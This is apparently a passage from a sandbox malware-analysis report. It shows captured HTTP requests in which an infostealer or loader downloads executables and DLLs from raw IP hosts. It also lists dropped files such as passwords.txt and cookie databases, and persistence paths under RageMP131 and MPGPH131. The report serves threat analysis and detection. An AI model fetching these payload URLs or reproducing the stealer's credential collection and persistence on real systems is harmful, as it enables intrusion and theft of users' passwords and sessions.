/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTfqhLjKLEJQZPin0KCzkdAQpVYowQUsT7DaQP4v0cB1JgmGggC72NkK8MCEATh56TcXPLzbcArQrhdFZ8%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 6429 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Wed 31 Jan 2024 21:33:57 GMT Last-Modified: Wed 31 Jan 2024 19:46:48 GMT Server: ECAcc (sac/254A) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA2160414B13EC36903F8BF4701D498261A0802EF63642BC3180F32....... "GET /gtsr1/gtsr1.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crl.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 854 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed 31 Jan 2024 21:15:03 GMT Expires: Wed 31 Jan 2024 22:05:03 GMT Cache-Control: public max-age=3000 Age: 1135 Last-Modified: Mon 18 Sep 2023 16:18:00 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding with response body ==>308203523082013A020101300D06092A864886F70D01010B05003047310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gts1c3/QqFxbi9M48c.crl HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: crls.pki.goog" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/cacerts Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="cacerts" Report-To: {"group":"cacerts" "max_age":2592000 "endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/cacerts"}]} Content-Length: 17096 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Wed 31 Jan 2024 21:33:02 GMT Expires: Wed 31 Jan 2024 22:23:02 GMT Cache-Control: public max-age=3000 Last-Modified: Wed 31 Jan 2024 20:12:35 GMT Content-Type: application/pkix-crl Vary: Accept-Encoding Age: 57 with response body ==>308242C4308241AC020101300D06092A864886F70D01010B05003046310B300906035504061302555331223020060355040A1319476F6F676C65205472757374....... "GET /gtsr1/ME4wTDBKMEgwRjAJBgUrDgMCGgUABBQwkcLWD4LqGJ7bE7B1XZsEbmfwUAQU5K8rJnEaK0gnhS9SZizv8IkTcT4CDQIDvFNZazTHGPUBUGY%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 724 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Wed 31 Jan 2024 20:42:05 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 3114 with response body ==>308202D00A0100A08202C9308202C506092B0601050507300101048202B6308202B230819BA2160414E4AF2B26711A2B4827852F52662CEFF08913713E180F32....... "GET /MFEwTzBNMEswSTAJBgUrDgMCGgUABBTPJvUY%2Bsl%2Bj4yzQuAcL2oQno5fCgQUUWj%2FkK8CB3U8zNllZGKiErhZcjsCEA3JuxlUdJhCKVHU%2B892rt4%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.digicert.com" Response ==> HTTP/1.1 200 OK Accept-Ranges: bytes Age: 1984 Cache-Control: max-age=7200 Content-Type: application/ocsp-response Date: Wed 31 Jan 2024 21:33:59 GMT Last-Modified: Wed 31 Jan 2024 21:00:55 GMT Server: ECAcc (sac/253D) X-Cache: HIT Content-Length: 471 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604145168FF90AF0207753CCCD9656462A212B859723B180F32....... "GET /gts1c3/MFIwUDBOMEwwSjAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEQC3n%2FpEnHuAsArL%2BHyYv98Y HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 472 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Wed 31 Jan 2024 21:00:27 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2012 with response body ==>308201D40A0100A08201CD308201C906092B0601050507300101048201BA308201B630819FA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCEB1PEJ9gAC7lEgL62A77Qs4%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Wed 31 Jan 2024 21:01:57 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 1931 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Wed 31 Jan 2024 21:34:09 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4519 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Wed 31 Jan 2024 21:34:24 GMT Server: cloudflare CF-RAY: 84e513bcd96296ed-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /gts1c3/MFEwTzBNMEswSTAJBgUrDgMCGgUABBTHLnmK3f9hNLO67UdCuLvGwCQHYwQUinR%2Fr4XN7pXNPZzQ4kYU83E1HScCECTIWCtOriVGCn%2FSzrsWgJo%3D HTTP/1.1 Connection: Keep-Alive Accept: */* User-Agent: Microsoft-CryptoAPI/6.1 Host: ocsp.pki.goog" Response ==> HTTP/1.1 200 OK Server: ocsp_responder Content-Length: 471 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN Date: Wed 31 Jan 2024 20:52:12 GMT Cache-Control: public max-age=14400 Content-Type: application/ocsp-response Age: 2521 with response body ==>308201D30A0100A08201CC308201C806092B0601050507300101048201B9308201B530819EA21604148A747FAF85CDEE95CD3D9CD0E24614F371351D27180F32....... "GET /geoip/v2.1/city/me HTTP/1.1 Connection: Keep-Alive Referer: https://www.maxmind.com/en/locate-my-ip-address User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: www.maxmind.com" Response ==> HTTP/1.1 403 Forbidden Date: Wed 31 Jan 2024 21:34:25 GMT Content-Type: text/html; charset=UTF-8 Content-Length: 4519 Connection: keep-alive X-Frame-Options: SAMEORIGIN Referrer-Policy: same-origin Cache-Control: max-age=15 Expires: Wed 31 Jan 2024 21:34:40 GMT Server: cloudflare CF-RAY: 84e51420eb03ceb5-SJC with response body ==>3C21444F43545950452068746D6C3E0A3C212D2D5B6966206C7420494520375D3E203C68746D6C20636C6173733D226E6F2D6A7320696536206F6C6469652220....... "GET /theme/Plugins/cred.dll HTTP/1.1 Host: 185.215.113.68" Response ==> HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed 31 Jan 2024 21:34:25 GMT Content-Type: text/html Content-Length: 162 Connection: keep-alive with response body ==>3C68746D6C3E0D0A3C686561643E3C7469746C653E343034204E6F7420466F756E643C2F7469746C653E3C2F686561643E0D0A3C626F64793E0D0A3C63656E74....... "GET /lego/goldklassd.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 31 Jan 2024 21:34:26 GMT Content-Type: application/octet-stream Content-Length: 409344 Last-Modified: Wed 31 Jan 2024 13:08:05 GMT Connection: keep-alive ETag: "65ba4635-63f00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /theme/Plugins/clip.dll HTTP/1.1 Host: 185.215.113.68" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 31 Jan 2024 21:34:26 GMT Content-Type: application/octet-stream Content-Length: 104448 Last-Modified: Thu 04 Jan 2024 19:50:16 GMT Connection: keep-alive ETag: "65970bf8-19800" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000010010000....... "GET /lego/MONTHRDX.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 31 Jan 2024 21:34:29 GMT Content-Type: application/octet-stream Content-Length: 321024 Last-Modified: Tue 30 Jan 2024 18:27:57 GMT Connection: keep-alive ETag: "65b93fad-4e600" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000080000000....... "GET /rockrunn.exe HTTP/1.1 Host: 5.42.64.4" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 31 Jan 2024 21:34:31 GMT Content-Type: application/octet-stream Content-Length: 414208 Last-Modified: Tue 30 Jan 2024 16:58:52 GMT Connection: keep-alive ETag: "65b92acc-65200" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B80000000000000040000000000000000000000000000000000000000000000000000000000000000000000008010000....... "GET /lego/alex.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 31 Jan 2024 21:34:34 GMT Content-Type: application/octet-stream Content-Length: 1817600 Last-Modified: Wed 24 Jan 2024 18:14:54 GMT Connection: keep-alive ETag: "65b1539e-1bbc00" Accept-Ranges: bytes with response body ==>4D5A90000300000004000000FFFF0000B800000000000000400000000000000000000000000000000000000000000000000000000000000000000000E0000000....... "GET /lego/moto.exe HTTP/1.1 Host: 109.107.182.3" Response ==> HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed 31 Jan 2024 21:34:39 GMT Content-Type: application/octet-stream Content-Length: 6731040 Last-Modified: Mon 22 Jan 2024 22:40:38 GMT Connection: keep-alive ETag: "65aeeee6-66b520" Accept-Ranges: bytes with response body ==>4D5A7800010000000400000000000000000000000000000040000000000000000000000000000000000000000000000000000000000000000000000078000000.......43:T9dd,"UPDATE %Q.%s SET sql = sqlite_rename_table(sql, %Q), tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' || %Q || substr(name,%d+18) ELSE name END WHERE tbl_name=%Q AND (type='" (Source: 62283-2035-00E2E180, Indicator: "update %q.%s set sql = sqlite_rename_table(sql, %q) tbl_name = %q name = case when type='table' then %q when name like 'sqlite_autoindex%%' and type='index' then 'sqlite_autoindex_' || %q || substr(name,%d+18) else name end where tbl_name=%q and (type='") "INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);" (Source: 62283-1856-00E33140, Indicator: "insert into %q.%s values('index',%q,%q,#%d,%q);"), "DELETE FROM %Q.%s WHERE tbl_name=%Q and type!='trigger'" (Source: 62283-2113-00E328B0, Indicator: "delete from %q.%s where tbl_name=%q and type!='trigger'"), "DELETE FROM %Q.sqlite_stat1 WHERE tbl=%Q" (Source: 62283-2113-00E328B0, Indicator: "delete from %q.sqlite_stat1 where tbl=%q"), "SELECT name rootpage sql FROM '%q'.%s WHERE %s" (Source: 62283-1913-00E1ED20, Indicator: "select name rootpage sql from '%q'.%s where %s"), "UPDATE %Q.%s SET type='table' name=%Q tbl_name=%Q rootpage=0 sql=%Q WHERE rowid=#%d" (Source: 62283-2040-00E4DBE0, Indicator: "update %q.%s set type='table' name=%q tbl_name=%q rootpage=0 sql=%q where rowid=#%d"), "UPDATE "%w".%s SET sql = substr(sql,1,%d) || ', ' || %Q || substr(sql,%d) WHERE type = 'table' AND name = %Q" (Source: 62283-2037-00E2E8B0, Indicator: "update "%w".%s set sql = substr(sql,1,%d) || ', ' || %q || substr(sql,%d) where type = 'table' and name = %q"), "CREATE TABLE sqlite_master( type text, name text, tbl_name text, rootpage integer, sql text)" (Source: 62283-1886-00E40B90, Indicator: "create table sqlite_master( type text, name text, tbl_name text, rootpage integer, sql text)"), "SELECT name rootpage sql FROM '%q'.%s" (Source: 62283-1886-00E40B90, Indicator: "select name rootpage sql from '%q'.%s"), "CREATE TABLE" (Source: 62283-2117-00E32010, Indicator: "create table"), "UPDATE %Q.%s SET type='%s' name=%Q tbl_name=%Q rootpage=#%d sql=%Q WHERE rowid=#%d" (Source: 62283-2116-00E32280, Indicator: "update %q.%s set type='%s' name=%q tbl_name=%q rootpage=#%d sql=%q where rowid=#%d"), "DELETE FROM %Q.%s WHERE name=%Q" (Source: 62283-1943-00E340C0, Indicator: "delete from %q.%s where name=%q"), "DELETE FROM %Q.sqlite_stat1 WHERE idx=%Q" (Source: 62283-1943-00E340C0, Indicator: "delete from %q.sqlite_stat1 where idx=%q")44:Tadf,Observed system executable string:"%WINDIR%\system32\bcryptprimitives.dll" [Source: 00000000-00005372-00000C25-53618338] Observed system executable string:"%WINDIR%\system32\uxtheme.dll" [Source: 00000000-00005528-00000C25-46544236] Observed system executable string:"%WINDIR%\system32\DUser.dll" [Source: 00000000-00001784-00000C25-154320577] Observed system executable string:"%WINDIR%\system32\xmllite.dll" [Source: 00000000-00001784-00000C25-155806059] Observed system executable string:"%WINDIR%\system32\ole32.dll" [Source: 00000000-00001784-00000C25-157907409] Observed system executable string:"%WINDIR%\system32\MSCTF.dll" [Source: 00000000-00001784-00000C25-158062609] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clr.dll" [Source: 00000000-00003328-00000C25-117818905] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoree.dll" [Source: 00000000-00003328-00000C25-120208512] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00003328-00000C25-120652811] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\mscorlib\36eaccfde177c2e7b93b8dbdde4e012a\mscorlib.ni.dll" [Source: 00000000-00003328-00000C25-121456178] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\ole32.dll" [Source: 00000000-00003328-00000C25-121723057] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\clrjit.dll" [Source: 00000000-00003328-00000C25-124681842] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\nlssorting.dll" [Source: 00000000-00003328-00000C25-127467979] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_32\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00003328-00000C25-128000065] Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00003328-00000C25-129958147] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_32\System\2c3c912ea8f058f9d04c4650128feb3f\System.ni.dll" [Source: 00000000-00003328-00000C25-134707085] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00003328-00000C25-135246407] Observed system executable string:"%WINDIR%\WinSxS\x86_microsoft.windows.gdiplus_6595b64144ccf1df_1.1.7601.23894_none_5c0be957a009922e\gdiplus.dll" [Source: 00000000-00004300-00000C25-145885338] Observed system executable string:"%WINDIR%\system32\apphelp.dll" [Source: 00000000-00004812-0000018F-21465110] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework\v4.0.30319\mscoreei.dll" [Source: 00000000-00005840-00000C25-179590170]45:T2d1f,"moto.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows"- [targetUID: N/A] "tRR0mZeAIpkePLPN9LrW.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "RageMP131.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "alex.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "H71o7LCWTf28gq71qPp8.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "no_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "explorhe.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "mrk1234_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "rockrunn_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "goldklassd_1_.exe" has type "PE32 executable (console) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "MONTHRDX_1_.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "2024.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "clip.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "niks_1_.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "Dctooux.job" has type "VAX-order 68k Blit mpx/mux executable"- [targetUID: N/A] "cred.dll" has type "HTML document ASCII text with CRLF line terminators"- [targetUID: N/A] "urlblockindex_1_.bin" has type "data"- [targetUID: N/A] "urlref_httpswww.youtube.comaccount" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "identifier_1_.htm" has type "HTML document UTF-8 Unicode text with very long lines"- [targetUID: N/A] "D87fZN3R3jFecookies.sqlite" has type "SQLite 3.x database user version 8 last written using SQLite version 3020001"- Location: [%TEMP%\jobA4XqqaC8IUGVBJz\D87fZN3R3jFecookies.sqlite]- [targetUID: 00000000-00005372] "MzLUQPQMj5G_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "kE0b_uiy0XJ_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "U86edKxQdCC_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "urVV6sXJ5jZ_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "5jNP8lqxZcy_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "qeK90bIUkKV_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "n1ODwcOO6qB_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "CheckConnection_1_.htm" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "video_2_.htm" has type "HTML document ASCII text with very long lines"- [targetUID: N/A] "4UabrENHsxJlGDuGo1OIlLU94YtzCwA_1_.woff" has type "Web Open Font Format TrueType length 26412 version 1.1"- [targetUID: N/A] "4UaGrENHsxJlGDuGo1OIlL3Owpg_1_.woff" has type "Web Open Font Format TrueType length 26180 version 1.1"- [targetUID: N/A] "N4pjZZToiCx_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "~DFD29CA886CFDEDA8D.TMP" has type "data"- [targetUID: N/A] "KFOlCnqEu92Fr1MmEU9fBBc-_1_.woff" has type "Web Open Font Format TrueType length 20012 version 1.1"- [targetUID: N/A] "KFOkCnqEu92Fr1MmgVxIIzQ_1_.woff" has type "Web Open Font Format TrueType length 19936 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmSU5fBBc-_1_.woff" has type "Web Open Font Format TrueType length 19916 version 1.1"- [targetUID: N/A] "KFOlCnqEu92Fr1MmWUlfBBc-_1_.woff" has type "Web Open Font Format TrueType length 19888 version 1.1"- [targetUID: N/A] "A3E6546D43CF3C4D85B14CC51DAFA332" has type "data"- [targetUID: N/A] "~DFAAD55CFB53BA382D.TMP" has type "data"- [targetUID: N/A] "~DF7E6F6458F65445F6.TMP" has type "data"- [targetUID: N/A] "~DF1011A4587185A45A.TMP" has type "data"- [targetUID: N/A] "~DF34C3C71647044C7A.TMP" has type "data"- [targetUID: N/A] "2xs6jaqwoaL_1_.png" has type "PNG image data 301 x 1208 8-bit colormap non-interlaced"- [targetUID: N/A] "imagestore.dat" has type "data"- [targetUID: N/A] "RH5vMxDmPvb_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "_FF8CDEFF-C08C-11EE-8455-0050569186AE_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "739F2FF4259CDC6CBE7B90F1A95601EF" has type "data"- [targetUID: N/A] "ooFne9i-Hki_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "gB76kJXPYJV_1_.png" has type "PNG image data 196 x 196 8-bit colormap non-interlaced"- [targetUID: N/A] "RecoveryStore._862C12A9-C08B-11EE-8455-0050569186AE_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "favicon_1_.ico" has type "MS Windows icon resource - 2 icons 16x16 32 bits/pixel 32x32 32 bits/pixel"- [targetUID: N/A] "pD24MXSfiVV_1_.png" has type "PNG image data 144 x 142 8-bit colormap non-interlaced"- [targetUID: N/A] "information.txt" has type "ASCII text with CRLF LF line terminators"- Location: [%TEMP%\jobA3XqqaC8IUGVBJz\information.txt]- [targetUID: 00000000-00005372] "information.txt" has type "ASCII text with CRLF LF line terminators"- [targetUID: 00000000-00005372] "passwords.txt" has type "UTF-8 Unicode text with CRLF LF line terminators"- Location: [%TEMP%\jobA3XqqaC8IUGVBJz\passwords.txt]- [targetUID: 00000000-00005372] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "Microsoft Cabinet archive data Windows 2000/XP setup 4770 bytes 1 file at 0x2c +A "disallowedcert.stl" number 1 1 datablock 0x1 compression"- [targetUID: N/A] "_FF8CDF00-C08C-11EE-8455-0050569186AE_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_862C12AB-C08B-11EE-8455-0050569186AE_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "_2437A351-C091-11EE-8455-0050569186AE_.dat" has type "Composite Document File V2 Document Cannot read section info"- [targetUID: N/A] "tjuCtNBjbJe_1_.png" has type "PNG image data 124 x 63 8-bit colormap non-interlaced"- [targetUID: N/A] "cQTfUDX0ouAahwF_PpGKOYWZffM44ev1.zip" has type "Zip archive data at least v2.0 to extract"- [targetUID: N/A] "a1cgEw6L_2c_1_.js" has type "ASCII text with very long lines"- [targetUID: N/A] "JU00xjCrG73_1_.css" has type "ASCII text with very long lines"- [targetUID: N/A] "24BD96D5497F70B3F510A6B53CD43F3E_3A89246FB90C5EE6620004F1AE0EB0EA" has type "data"- [targetUID: N/A] "video_1_.htm" has type "HTML document ASCII text with very long lines with no line terminators"- [targetUID: N/A] "4748633DC5731827D4B432DBAC7A3ECE" has type "data"- [targetUID: N/A] "Firefox_mj0wtyin.default-1692790883487.txt" has type "ASCII text with very long lines with CRLF line terminators"- [targetUID: 00000000-00005372] "CAF4703619713E3F18D8A9D5D88D6288_A7725538C46DE2D0088EE44974E2CEBA" has type "data"- [targetUID: N/A] "AbejFsx0lyUNamTZ7EY7A6aK3Chn7uRP.zip" has type "Zip archive data at least v2.0 to extract"- Location: [%TEMP%\AbejFsx0lyUNamTZ7EY7A6aK3Chn7uRP.zip]- [targetUID: 00000000-00005372] "A16C6C16D94F76E0808C087DFC657D99_E8C9186ED5BC2F64FC58A60C8F09BA16" has type "data"- [targetUID: N/A] "265C0DEB29181DD1891051371C5F863A_CA2FE21C148698DA6726110134549C04" has type "data"- [targetUID: N/A] "265C0DEB29181DD1891051371C5F863A_0315896B3A3544F57396A8D784DC2DB4" has type "data"- [targetUID: N/A] "7423F88C7F265F0DEFC08EA88C3BDE45_AA1E8580D4EBC816148CE81268683776" has type "data"- [targetUID: N/A] "35DDEDF268117918D1D277A171D8DF7B_5D23AAF62E1DA6DEEAD6E80340722EF7" has type "data"- [targetUID: N/A] "EDC238BFF48A31D55A97E1E93892934B_C20E0DA2D0F89FE526E1490F4A2EE5AB" has type "data"- [targetUID: N/A] "m.facebook_1_.xml" has type "ASCII text with very long lines with no line terminators"- [targetUID: N/A] "57C8EDB95DF3F0AD4EE2DC2B8CFD4157" has type "data"- [targetUID: N/A] "TN1QWL8U.txt" has type "ASCII text"- [targetUID: N/A] "ZS0JYDPU.txt" has type "ASCII text"- [targetUID: N/A] "BEC6224B02D155A396218A2504F3EE0B" has type "data"- [targetUID: N/A] "PPGAIJR4.htm" has type "gzip compressed data original size modulo 2^32 338"- [targetUID: N/A] "KJE1TLX8.txt" has type "ASCII text"- [targetUID: N/A] "MYMPQB3A.txt" has type "ASCII text"- [targetUID: N/A] "TR1L33ZA.txt" has type "ASCII text"- [targetUID: N/A] "7E1SHZ9K.txt" has type "ASCII text"- [targetUID: N/A] "N8OGPGR3.txt" has type "ASCII text"- [targetUID: N/A] "OLSSBVT5.txt" has type "ASCII text"- [targetUID: N/A] "9HWLTDQU.txt" has type "ASCII text"- [targetUID: N/A] "1487645_6012475414660_1439393861_n_1_.png" has type "PNG image data 10 x 10 8-bit/color RGB non-interlaced"- [targetUID: N/A] "5C0D9UP5.txt" has type "ASCII text"- [targetUID: N/A] "hsts-pixel_1_.gif" has type "GIF image data version 89a 1 x 1"- [targetUID: N/A] "bscframe_1_.htm" has type "HTML document ASCII text with no line terminators"- [targetUID: N/A] "F59E91F8" has type "data"- [targetUID: N/A] "rage131MP.tmp" has type "ASCII text with no line terminators"- Location: [%TEMP%\rage131MP.tmp]- [targetUID: 00000000-00005372] "moto_1_.exe" has type "PE32+ executable (GUI) x86-64 for MS Windows"- [targetUID: N/A] "lada_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "MPGPH131.exe.bin" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "RageMP131.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%LOCALAPPDATA%\RageMP131\RageMP131.exe]- [targetUID: 00000000-00005372] "MPGPH131.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- Location: [%ALLUSERSPROFILE%\MPGPH131\MPGPH131.exe]- [targetUID: 00000000-00005372] "alex_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "vinu_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "eczhlR27eSQu8x8E0T8F.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "oZijmS3fJ3DTcP29TRNz.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "amers_1_.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "mrk1234.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "rockrunn.exe" has type "PE32 executable (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "goldklassd.exe" has type "PE32 executable (console) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "MONTHRDX.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "2024_1_.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "clip_1_.dll" has type "PE32 executable (DLL) (GUI) Intel 80386 for MS Windows"- [targetUID: N/A] "DjumWVmCC4B2ivAX9QBh.exe" has type "PE32 executable (GUI) Intel 80386 Mono/.Net assembly for MS Windows"- [targetUID: N/A] "D87fZN3R3jFecookies.sqlite" has type "SQLite 3.x database user version 8 last written using SQLite version 3020001"- [targetUID: 00000000-00005372] "passwords.txt" has type "UTF-8 Unicode text with CRLF LF line terminators"- [targetUID: 00000000-00005372] "Firefox_mj0wtyin.default-1692790883487.txt" has type "ASCII text with very long lines with CRLF line terminators"- Location: [%TEMP%\jobA3XqqaC8IUGVBJz\Cookies\Firefox_mj0wtyin.default-1692790883487.txt]- [targetUID: 00000000-00005372]46:T4aa,"MPGPH131.exe" touched file "C:\Windows\AppPatch\sysmain.sdb" "DjumWVmCC4B2ivAX9QBh.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\clr.dll" "DjumWVmCC4B2ivAX9QBh.exe" touched file "C:\Windows\Microsoft.NET\Framework\v1.0.3705\mscorwks.dll" "DjumWVmCC4B2ivAX9QBh.exe" touched file 